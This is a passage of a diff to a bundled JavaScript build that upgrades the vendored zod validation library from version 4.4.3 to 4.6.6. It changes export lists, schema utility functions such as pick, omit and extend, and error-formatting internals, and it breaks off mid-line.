__export(core_exports2, { _coercedDate: () => _coercedDate, _coercedNumber: () => _coercedNumber, _coercedString: () => _coercedString, + _creditCard: () => _creditCard, _cuid: () => _cuid, _cuid2: () => _cuid2, _custom: () => _custom, @@ -55134,6 +55164,7 @@ __export(core_exports2, { _gt: () => _gt, _gte: () => _gte, _guid: () => _guid, + _iban: () => _iban, _includes: () => _includes, _int: () => _int, _int32: () => _int32, @@ -55182,6 +55213,7 @@ __export(core_exports2, { _pipe: () => _pipe, _positive: () => _positive, _promise: () => _promise, + _properties: () => _properties, _property: () => _property, _readonly: () => _readonly, _record: () => _record, @@ -55224,7 +55256,12 @@ __export(core_exports2, { _void: () => _void, _xid: () => _xid, _xor: () => _xor, + base64Charset: () => base64Charset, + base64urlCharset: () => base64urlCharset, + canParseURL: () => canParseURL, clone: () => clone, + compile: () => compile, + compileFn: () => compileFn, config: () => config, createStandardJSONSchemaMethod: () => createStandardJSONSchemaMethod, createToJSONSchemaMethod: () => createToJSONSchemaMethod, @@ -55237,18 +55274,30 @@ __export(core_exports2, { finalize: () => finalize, flattenError: () => flattenError, formatError: () => formatError, + getDiscriminatedOption: () => getDiscriminatedOption, globalConfig: () => globalConfig, globalRegistry: () => globalRegistry, + handleUnrepresentable: () => handleUnrepresentable, initializeContext: () => initializeContext, + isBackEdge: () => isBackEdge, + isRecursiveSchema: () => isRecursiveSchema, isValidBase64: () => isValidBase64, isValidBase64URL: () => isValidBase64URL, + isValidCIDRv6: () => isValidCIDRv6, + isValidCreditCard: () => isValidCreditCard, + isValidIBAN: () => isValidIBAN, + isValidIPv6: () => isValidIPv6, isValidJWT: () => isValidJWT, locales: () => locales_exports, + memoizer: () => memoizer, + mergeValues: () => mergeValues, meta: () => meta, parse: () => parse, parseAsync: () => parseAsync, + parseURLObject: () => parseURLObject, prettifyError: () => prettifyError, - process: () => process2, + process: () => processSchema, + processSchema: () => processSchema, regexes: () => regexes_exports, registry: () => registry, safeDecode: () => safeDecode, @@ -55257,94 +55306,27 @@ __export(core_exports2, { safeEncodeAsync: () => safeEncodeAsync, safeParse: () => safeParse, safeParseAsync: () => safeParseAsync, + standardProps: () => standardProps, + stripTabAndNewline: () => stripTabAndNewline, toDotPath: () => toDotPath, toJSONSchema: () => toJSONSchema, + toZod: () => toZod, treeifyError: () => treeifyError, + urlHostnameOk: () => urlHostnameOk, + urlProtocolOk: () => urlProtocolOk, util: () => util_exports, - version: () => version + validate: () => validate, + validateAsync: () => validateAsync, + validateURL: () => validateURL, + version: () => version, + withParser: () => withParser }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js -var _a; -var NEVER = /* @__PURE__ */ Object.freeze({ - status: "aborted" -}); -// @__NO_SIDE_EFFECTS__ -function $constructor(name, initializer3, params) { - function init(inst, def) { - if (!inst._zod) { - Object.defineProperty(inst, "_zod", { - value: { - def, - constr: _, - traits: /* @__PURE__ */ new Set() - }, - enumerable: false - }); - } - if (inst._zod.traits.has(name)) { - return; - } - inst._zod.traits.add(name); - initializer3(inst, def); - const proto = _.prototype; - const keys = Object.keys(proto); - for (let i = 0; i < keys.length; i++) { - const k = keys[i]; - if (!(k in inst)) { - inst[k] = proto[k].bind(inst); - } - } - } - const Parent = params?.Parent ?? Object; - class Definition extends Parent { - } - Object.defineProperty(Definition, "name", { value: name }); - function _(def) { - var _a3; - const inst = params?.Parent ? new Definition() : this; - init(inst, def); - (_a3 = inst._zod).deferred ?? (_a3.deferred = []); - for (const fn of inst._zod.deferred) { - fn(); - } - return inst; - } - Object.defineProperty(_, "init", { value: init }); - Object.defineProperty(_, Symbol.hasInstance, { - value: (inst) => { - if (params?.Parent && inst instanceof params.Parent) - return true; - return inst?._zod?.traits?.has(name); - } - }); - Object.defineProperty(_, "name", { value: name }); - return _; -} -var $brand = Symbol("zod_brand"); -var $ZodAsyncError = class extends Error { - constructor() { - super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); - } -}; -var $ZodEncodeError = class extends Error { - constructor(name) { - super(`Encountered unidirectional transform during encode: ${name}`); - this.name = "ZodEncodeError"; - } -}; -(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); -var globalConfig = globalThis.__zod_globalConfig; -function config(newConfig) { - if (newConfig) - Object.assign(globalConfig, newConfig); - return globalConfig; -} - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/util.js var util_exports = {}; __export(util_exports, { BIGINT_FORMAT_RANGES: () => BIGINT_FORMAT_RANGES, + CONSTANT_CATCH: () => CONSTANT_CATCH, Class: () => Class, NUMBER_FORMAT_RANGES: () => NUMBER_FORMAT_RANGES, aborted: () => aborted, @@ -55355,6 +55337,7 @@ __export(util_exports, { assertNever: () => assertNever, assertNotEqual: () => assertNotEqual, assignProp: () => assignProp, + attachSchema: () => attachSchema, base64ToUint8Array: () => base64ToUint8Array, base64urlToUint8Array: () => base64urlToUint8Array, cached: () => cached, @@ -55363,8 +55346,12 @@ __export(util_exports, { cleanRegex: () => cleanRegex, clone: () => clone, cloneDef: () => cloneDef, + codePointLength: () => codePointLength, + constantCatch: () => constantCatch, createTransparentProxy: () => createTransparentProxy, defineLazy: () => defineLazy, + defineLazyInternal: () => defineLazyInternal, + derived: () => derived, esc: () => esc, escapeRegex: () => escapeRegex, explicitlyAborted: () => explicitlyAborted, @@ -55377,11 +55364,14 @@ __export(util_exports, { getParsedType: () => getParsedType, getSizableOrigin: () => getSizableOrigin, hexToUint8Array: () => hexToUint8Array, + hide: () => hide, + installLazyProp: () => installLazyProp, isObject: () => isObject2, isPlainObject: () => isPlainObject, issue: () => issue, joinValues: () => joinValues, jsonStringifyReplacer: () => jsonStringifyReplacer, + members: () => members, merge: () => merge, mergeDefs: () => mergeDefs, normalizeParams: () => normalizeParams, @@ -55390,6 +55380,7 @@ __export(util_exports, { objectClone: () => objectClone, omit: () => omit, optionalKeys: () => optionalKeys, + own: () => own, parsedType: () => parsedType, partial: () => partial, pick: () => pick, @@ -55398,11 +55389,14 @@ __export(util_exports, { promiseAllObject: () => promiseAllObject, propertyKeyTypes: () => propertyKeyTypes, randomString: () => randomString, + rawShape: () => rawShape, required: () => required, safeExtend: () => safeExtend, shallowClone: () => shallowClone, + sizeCaps: () => sizeCaps, slugify: () => slugify, stringifyPrimitive: () => stringifyPrimitive, + toZod: () => toZod, uint8ArrayToBase64: () => uint8ArrayToBase64, uint8ArrayToBase64url: () => uint8ArrayToBase64url, uint8ArrayToHex: () => uint8ArrayToHex, @@ -55414,6 +55408,9 @@ function assertEqual(val) { function assertNotEqual(val) { return val; } +function toZod() { + return (schema) => schema; +} function assertIs(_arg) { } function assertNever(_x) { @@ -55434,21 +55431,25 @@ function jsonStringifyReplacer(_, value) { return value.toString(); return value; } -function cached(getter) { - const set2 = false; - return { - get value() { - if (!set2) { - const value = getter(); - Object.defineProperty(this, "value", { value }); - return value; - } - throw new Error("cached value already set"); +var Cached = class { + constructor(getter) { + this._getter = getter; + this._value = void 0; + } + get value() { + const getter = this._getter; + if (getter !== void 0) { + this._value = getter(); + this._getter = void 0; } - }; + return this._value; + } +}; +function cached(getter) { + return new Cached(getter); } -function nullish(input) { - return input === null || input === void 0; +function nullish(input2) { + return input2 === null || input2 === void 0; } function cleanRegex(source) { const start = source.startsWith("^") ? 1 : 0; @@ -55458,7 +55459,7 @@ function cleanRegex(source) { function floatSafeRemainder(val, step) { const ratio = val / step; const roundedRatio = Math.round(ratio); - const tolerance = Number.EPSILON * Math.max(Math.abs(ratio), 1); + const tolerance = 4 * Number.EPSILON * Math.max(Math.abs(ratio), 1); if (Math.abs(ratio - roundedRatio) < tolerance) return 0; return ratio - roundedRatio; @@ -55497,6 +55498,56 @@ function assignProp(target, prop, value) { configurable: true }); } +function rawShape(def) { + const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); + return desc2?.get ? desc2.get.raw : desc2?.value; +} +function sourceShape(schema) { + return rawShape(schema._zod.def) ?? schema._zod.def.shape; +} +function deferProp(target, key, getter) { + Object.defineProperty(target, key, { + get() { + const value = getter(); + assignProp(this, key, value); + return value; + }, + enumerable: true, + configurable: true + }); +} +function putProp(target, key, value) { + if (key in target) + assignProp(target, key, value); + else + target[key] = value; +} +function mirrorShape(target, source, keys, wrap) { + const raw = sourceShape(source); + for (const key of keys) { + const desc2 = Object.getOwnPropertyDescriptor(raw, key); + if (!desc2.enumerable) + continue; + if (desc2.get) { + deferProp(target, key, () => { + const value = source._zod.def.shape[key]; + return wrap ? wrap(value, key) : value; + }); + } else + putProp(target, key, wrap ? wrap(desc2.value, key) : desc2.value); + } +} +function mirrorProps(target, source) { + for (const key of Reflect.ownKeys(source)) { + const desc2 = Object.getOwnPropertyDescriptor(source, key); + if (!desc2.enumerable) + continue; + if (desc2.get) + deferProp(target, key, () => source[key]); + else + putProp(target, key, desc2.value); + } +} function mergeDefs(...defs) { const mergedDescriptors = {}; for (const def of defs) { @@ -55535,8 +55586,8 @@ function randomString(length = 10) { function esc(str) { return JSON.stringify(str); } -function slugify(input) { - return input.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); +function slugify(input2) { + return input2.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); } var captureStackTrace = "captureStackTrace" in Error ? Error.captureStackTrace : (..._args) => { }; @@ -55714,16 +55765,16 @@ function stringifyPrimitive(value) { } function optionalKeys(shape) { return Object.keys(shape).filter((k) => { - return shape[k]._zod.optin === "optional" && shape[k]._zod.optout === "optional"; + return shape[k]._zod.optin !== void 0 && shape[k]._zod.optout === "optional"; }); } -var NUMBER_FORMAT_RANGES = { +var NUMBER_FORMAT_RANGES = /* @__PURE__ */ (() => ({ safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER], int32: [-2147483648, 2147483647], uint32: [0, 4294967295], float32: [-34028234663852886e22, 34028234663852886e22], float64: [-Number.MAX_VALUE, Number.MAX_VALUE] -}; +}))(); var BIGINT_FORMAT_RANGES = { int64: [/* @__PURE__ */ BigInt("-9223372036854775808"), /* @__PURE__ */ BigInt("9223372036854775807")], uint64: [/* @__PURE__ */ BigInt(0), /* @__PURE__ */ BigInt("18446744073709551615")] @@ -55735,23 +55786,21 @@ function pick(schema, mask) { if (hasChecks) { throw new Error(".pick() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = {}; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - newShape[key] = currDef.shape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const newShape = {}; + mirrorShape(newShape, schema, maskedKeys(schema, mask)); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); +} +function maskedKeys(schema, mask) { + const raw = sourceShape(schema); + const keys = []; + for (const key of Reflect.ownKeys(mask)) { + if (!Object.getOwnPropertyDescriptor(raw, key)?.enumerable) { + throw new Error(`Unrecognized key: "${String(key)}"`); + } + if (mask[key]) + keys.push(key); + } + return keys; } function omit(schema, mask) { const currDef = schema._zod.def; @@ -55760,23 +55809,10 @@ function omit(schema, mask) { if (hasChecks) { throw new Error(".omit() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = { ...schema._zod.def.shape }; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - delete newShape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const omitted = new Set(maskedKeys(schema, mask)); + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)).filter((key) => !omitted.has(key))); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); } function extend(schema, shape) { if (!isPlainObject(shape)) { @@ -55785,45 +55821,39 @@ function extend(schema, shape) { const checks = schema._zod.def.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - const existingShape = schema._zod.def.shape; - for (const key in shape) { + const existingShape = sourceShape(schema); + for (const key of Reflect.ownKeys(shape)) { if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) { throw new Error("Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead."); } } } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); +} +function extended(schema, shape) { + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema))); + mirrorProps(newShape, shape); + return newShape; } function safeExtend(schema, shape) { if (!isPlainObject(shape)) { throw new Error("Invalid input to safeExtend: expected a plain object"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); } function merge(a, b2) { + if (!b2?._zod?.def) { + throw new Error("Invalid input to merge: expected an object schema. To merge a plain shape, use `.extend()`."); + } if (a._zod.def.checks?.length) { throw new Error(".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead."); } + const newShape = {}; + mirrorShape(newShape, a, Reflect.ownKeys(sourceShape(a))); + mirrorShape(newShape, b2, Reflect.ownKeys(sourceShape(b2))); const def = mergeDefs(a._zod.def, { - get shape() { - const _shape = { ...a._zod.def.shape, ...b2._zod.def.shape }; - assignProp(this, "shape", _shape); - return _shape; - }, + shape: newShape, get catchall() { return b2._zod.def.catchall; }, @@ -55831,74 +55861,26 @@ function merge(a, b2) { }); return clone(a, def); } -function partial(Class2, schema, mask) { +function partial(Class2, schema, mask, name = "partial") { const currDef = schema._zod.def; const checks = currDef.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - throw new Error(".partial() cannot be used on object schemas containing refinements"); - } - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in oldShape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } else { - for (const key in oldShape) { - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } - assignProp(this, "shape", shape); - return shape; - }, - checks: [] - }); - return clone(schema, def); + throw new Error(`.${name}() cannot be used on object schemas containing refinements`); + } + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), Class2 && ((value, key) => selected && !selected.has(key) ? value : new Class2({ type: "optional", innerType: value }))); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape, checks: [] })); } function required(Class2, schema, mask) { - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } else { - for (const key in oldShape) { - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } - assignProp(this, "shape", shape); - return shape; - } - }); - return clone(schema, def); + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), (value, key) => ( + // overwrite with non-optional + selected && !selected.has(key) ? value : new Class2({ type: "nonoptional", innerType: value }) + )); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape })); } function aborted(x, startIndex = 0) { if (x.aborted === true) @@ -55931,29 +55913,75 @@ function prefixIssues(path, issues) { function unwrapMessage(message2) { return typeof message2 === "string" ? message2 : message2?.message; } +function sizeCaps(defChecks) { + const caps = []; + for (const ch of defChecks ?? []) { + const d = ch._zod.def; + if (!/_(length|size)$|_equals$/.test(d.check)) + break; + const max = d.maximum ?? d.length ?? d.size; + if (max >= 0) + caps.push([max, ch]); + } + return caps; +} +function attachSchema(issues, start, inst) { + var _a3; + for (let i = start; i < issues.length; i++) { + (_a3 = issues[i]).schema ?? (_a3.schema = inst); + } +} function finalizeIssue(iss, ctx, config2) { - const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; - const { inst: _inst, continue: _continue, input: _input, ...rest } = iss; - rest.path ?? (rest.path = []); - rest.message = message2; + var _a3; + const traits = iss.inst?._zod?.traits; + if (traits?.has("$ZodType")) { + if (traits.has("$ZodCheck")) + (_a3 = iss).schema ?? (_a3.schema = iss.inst); + else + iss.schema = iss.inst; + } + const schemaError = iss.schema !== iss.inst ? iss.schema?._zod.def?.error : void 0; + const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(schemaError?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; + const full = {}; + for (const k of Object.keys(iss)) { + if (k === "inst" || k === "schema" || k === "continue" || k === "input" || k === "__proto__") + continue; + full[k] = iss[k]; + } + full.path ?? (full.path = []); + full.message = message2; if (ctx?.reportInput) { - rest.input = _input; + full.input = iss.input; } - return rest; + return full; } -function getSizableOrigin(input) { - if (input instanceof Set) +function getSizableOrigin(input2) { + if (input2 instanceof Set) return "set"; - if (input instanceof Map) + if (input2 instanceof Map) return "map"; - if (input instanceof File) + if (input2 instanceof File) return "file"; return "unknown"; } -function getLengthableOrigin(input) { - if (Array.isArray(input)) +var highSurrogate = /[\uD800-\uDBFF]/; +function codePointLength(str) { + const units = str.length; + if (!highSurrogate.test(str)) + return units; + let count = units; + for (let i = 0; i < units - 1; i++) { + if ((str.charCodeAt(i) & 64512) === 55296 && (str.charCodeAt(i + 1) & 64512) === 56320) { + count--; + i++; + } + } + return count; +} +function getLengthableOrigin(input2) { + if (Array.isArray(input2)) return "array"; - if (typeof input === "string") + if (typeof input2 === "string") return "string"; return "unknown"; } @@ -55979,12 +56007,12 @@ function parsedType(data) { return t; } function issue(...args) { - const [iss, input, inst] = args; + const [iss, input2, inst] = args; if (typeof iss === "string") { return { message: iss, code: "custom", - input, + input: input2, inst }; } @@ -56036,43 +56064,312 @@ var Class = class { constructor(..._args) { } }; - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js -var initializer = (inst, def) => { - inst.name = "$ZodError"; - Object.defineProperty(inst, "_zod", { - value: inst._zod, - enumerable: false +function members(proto, table2) { + for (const key in table2) { + const desc2 = Object.getOwnPropertyDescriptor(table2, key); + if (desc2.get) + Object.defineProperty(proto, key, { ...desc2, enumerable: false }); + else + defineBound(proto, key, desc2.value); + } +} +function own(inst, key, value, enumerable = true) { + Object.defineProperty(inst, key, { configurable: true, writable: true, enumerable, value }); + return value; +} +function hide(inst, key, value) { + return own(inst, key, value, false); +} +// @__NO_SIDE_EFFECTS__ +function derived(computes, table2) { + for (const key in computes) { + const compute = computes[key]; + Object.defineProperty(table2, key, { + configurable: true, + enumerable: true, + get() { + return own(this, key, compute(this)); + }, + set(value) { + own(this, key, value); + } + }); + } + return table2; +} +function defineBound(proto, key, fn) { + Object.defineProperty(proto, key, { + configurable: true, + get() { + return this == null ? fn : own(this, key, fn.bind(this)); + }, + set(value) { + own(this, key, value); + } }); - Object.defineProperty(inst, "issues", { - value: def, - enumerable: false +} +function claim(inst, sentinel) { + const proto = Object.getPrototypeOf(inst); + return sentinel in proto ? void 0 : proto; +} +var installing; +var broke = false; +var breaker = { + configurable: true, + get() { + broke = true; + return void 0; + } +}; +function defineLazyInternal(inst, key, compute) { + const proto = Object.getPrototypeOf(inst._zod); + if (key in proto && installing !== inst._zod) { + installing = void 0; + return; + } + installing = inst._zod; + Object.defineProperty(proto, key, { + configurable: true, + get() { + Object.defineProperty(this, key, breaker); + const outer = broke; + broke = false; + try { + const value = compute(this); + if (broke) + delete this[key]; + else + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + broke = broke || outer; + return value; + } catch (err) { + delete this[key]; + broke = broke || outer; + throw err; + } + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + } }); - inst.message = JSON.stringify(def, jsonStringifyReplacer, 2); - Object.defineProperty(inst, "toString", { - value: () => inst.message, - enumerable: false +} +function installLazyProp(inst, key, make, enumerable) { + const proto = claim(inst, key); + if (!proto) + return; + Object.defineProperty(proto, key, { + configurable: true, + get() { + const desc2 = { configurable: true, writable: true, enumerable, value: void 0 }; + Object.defineProperty(this, key, desc2); + desc2.value = make(this); + Object.defineProperty(this, key, desc2); + return desc2.value; + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, enumerable, value }); + } }); +} +var CONSTANT_CATCH = "~constantCatch"; +function constantCatch(value) { + const fn = () => value; + fn[CONSTANT_CATCH] = true; + return fn; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/core.js +var _a; +var NEVER = /* @__PURE__ */ Object.freeze({ + status: "aborted" +}); +var _zodDesc = { value: void 0, enumerable: false }; +var _E = "captureStackTrace" in Error ? Error : null; +function newError(Definition) { + const E = _E; + if (E) { + const saved = E.stackTraceLimit; + if (typeof saved === "number") { + try { + E.stackTraceLimit = 0; + } catch { + _E = null; + return new Definition(); + } + try { + return new Definition(); + } finally { + E.stackTraceLimit = saved; + } + } + } + return new Definition(); +} +// @__NO_SIDE_EFFECTS__ +function $constructor(name, initializer3, proto, params) { + const zodProto = {}; + function Internals(def) { + this.def = def; + this.constr = _; + this.traits = /* @__PURE__ */ new Set(); + } + Internals.prototype = zodProto; + const protoMembers = proto; + const initialized = protoMembers && /* @__PURE__ */ new WeakSet(); + function init(inst, def) { + if (!inst._zod) { + _zodDesc.value = new Internals(def); + try { + Object.defineProperty(inst, "_zod", _zodDesc); + } finally { + _zodDesc.value = void 0; + } + } else if (inst._zod.traits.has(name)) { + return; + } + inst._zod.traits.add(name); + initializer3(inst, def); + if (initialized) { + const own2 = Object.getPrototypeOf(inst); + const ctorProto = inst._zod.constr.prototype; + let up = own2; + while (up && up !== ctorProto) + up = Object.getPrototypeOf(up); + const target = up ?? own2; + if (!initialized.has(target)) { + initialized.add(target); + members(target, protoMembers); + } + } + const proto2 = _.prototype; + for (const k in proto2) { + if (!Object.prototype.hasOwnProperty.call(proto2, k)) + continue; + if (!(k in inst)) { + inst[k] = proto2[k].bind(inst); + } + } + } + const Parent = params?.Parent ?? Object; + class Definition extends Parent { + } + Object.defineProperty(Definition, "name", { value: name }); + function _(def) { + const inst = params?.Parent ? newError(Definition) : this; + init(inst, def); + const deferred = inst._zod.deferred; + if (deferred) { + for (const fn of deferred) { + fn(); + } + inst._zod.deferred = void 0; + } + const pp = globalThis.__zod_globalConfig?.postProcessor; + if (pp) + pp(inst); + return inst; + } + Object.defineProperty(_, "init", { value: init }); + Object.defineProperty(_, Symbol.hasInstance, { + value: (inst) => { + if (params?.Parent && inst instanceof params.Parent) + return true; + return inst?._zod?.traits?.has(name); + } + }); + Object.defineProperty(_, "name", { value: name }); + return _; +} +var $brand = /* @__PURE__ */ Symbol("zod_brand"); +var $ZodAsyncError = class extends Error { + constructor() { + super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); + } +}; +var $ZodEncodeError = class extends Error { + constructor(name) { + super(`Encountered unidirectional transform during encode: ${name}`); + this.name = "ZodEncodeError"; + } +}; +(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); +var globalConfig = globalThis.__zod_globalConfig; +function config(newConfig) { + if (newConfig) + Object.assign(globalConfig, newConfig); + return globalConfig; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/errors.js +function _getMessage() { + const internals = this._zod; + internals.message ?? (internals.message = JSON.stringify(internals.def, jsonStringifyReplacer, 2)); + return internals.message; +} +function _setMessage(value) { + this._zod.message = value; +} +var _messageDesc = { + get: _getMessage, + set: _setMessage, + enumerable: true, + configurable: true +}; +var _issuesDesc = { value: void 0, enumerable: false }; +var _installedToString = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +var initializer = (inst, def) => { + inst.name = "$ZodError"; + _issuesDesc.value = def; + Object.defineProperty(inst, "issues", _issuesDesc); + _issuesDesc.value = void 0; + Object.defineProperty(inst, "message", _messageDesc); + const proto = Object.getPrototypeOf(inst); + if (!_installedToString.has(proto)) { + _installedToString.add(proto); + Object.defineProperty(proto, "toString", { + configurable: true, + enumerable: false, + get() { + const value = () => this.message; + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + } + }); + } }; var $ZodError = $constructor("$ZodError", initializer); -var $ZodRealError = $constructor("$ZodError", initializer, { Parent: Error }); -function flattenError(error51, mapper = (issue2) => issue2.message) { +var $ZodRealError = $constructor("$ZodError", initializer, void 0, { + Parent: Error +}); +function node(obj, key, make) { + if (!Object.prototype.hasOwnProperty.call(obj, key)) { + if (key === "__proto__") { + Object.defineProperty(obj, key, { value: make(), writable: true, enumerable: true, configurable: true }); + } else { + obj[key] = make(); + } + } + return obj[key]; +} +function flattenError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = {}; const formErrors = []; - for (const sub of error51.issues) { + for (const sub of error62.issues) { if (sub.path.length > 0) { - fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || []; - fieldErrors[sub.path[0]].push(mapper(sub)); + node(fieldErrors, sub.path[0], () => []).push(mapper(sub)); } else { formErrors.push(mapper(sub)); } } return { formErrors, fieldErrors }; } -function formatError(error51, mapper = (issue2) => issue2.message) { +function formatError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = { _errors: [] }; - const processError = (error52, path = []) => { - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -56089,27 +56386,39 @@ function formatError(error51, mapper = (issue2) => issue2.message) { while (i < fullpath.length) { const el = fullpath[i]; const terminal = i === fullpath.length - 1; - if (!terminal) { - curr[el] = curr[el] || { _errors: [] }; - } else { - curr[el] = curr[el] || { _errors: [] }; - curr[el]._errors.push(mapper(issue2)); + if (el === "_errors") { + if (terminal) + curr._errors.push(mapper(issue2)); + i++; + continue; + } + if (!Object.prototype.hasOwnProperty.call(curr, el)) { + Object.defineProperty(curr, el, { + value: { _errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); } - curr = curr[el]; + const node2 = curr[el]; + if (terminal) { + node2._errors.push(mapper(issue2)); + } + curr = node2; i++; } } } } }; - processError(error51); + processError(error62); return fieldErrors; } -function treeifyError(error51, mapper = (issue2) => issue2.message) { +function treeifyError(error62, mapper = (issue2) => issue2.message) { const result = { errors: [] }; - const processError = (error52, path = []) => { - var _a3, _b; - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + var _a3; + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -56129,11 +56438,18 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { const terminal = i === fullpath.length - 1; if (typeof el === "string") { curr.properties ?? (curr.properties = {}); - (_a3 = curr.properties)[el] ?? (_a3[el] = { errors: [] }); + if (!Object.prototype.hasOwnProperty.call(curr.properties, el)) { + Object.defineProperty(curr.properties, el, { + value: { errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); + } curr = curr.properties[el]; } else { curr.items ?? (curr.items = []); - (_b = curr.items)[el] ?? (_b[el] = { errors: [] }); + (_a3 = curr.items)[el] ?? (_a3[el] = { errors: [] }); curr = curr.items[el]; } if (terminal) { @@ -56144,7 +56460,7 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { } } }; - processError(error51); + processError(error62); return result; } function toDotPath(_path) { @@ -56165,9 +56481,9 @@ function toDotPath(_path) { } return segs.join(""); } -function prettifyError(error51) { +function prettifyError(error62) { const lines = []; - const issues = [...error51.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); + const issues = [...error62.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); for (const issue2 of issues) { lines.push(`\u2716 ${issue2.message}`); if (issue2.path?.length) @@ -56176,32 +56492,41 @@ function prettifyError(error51) { return lines.join("\n"); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js -var _parse = (_Err) => (schema, value, _ctx, _params) => { - const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; - const result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) { - throw new $ZodAsyncError(); - } - if (result.issues.length) { - const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, _params?.callee); - throw e; - } - return result.value; +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/parse.js +function finalizeParams(callee, params) { + return { callee: 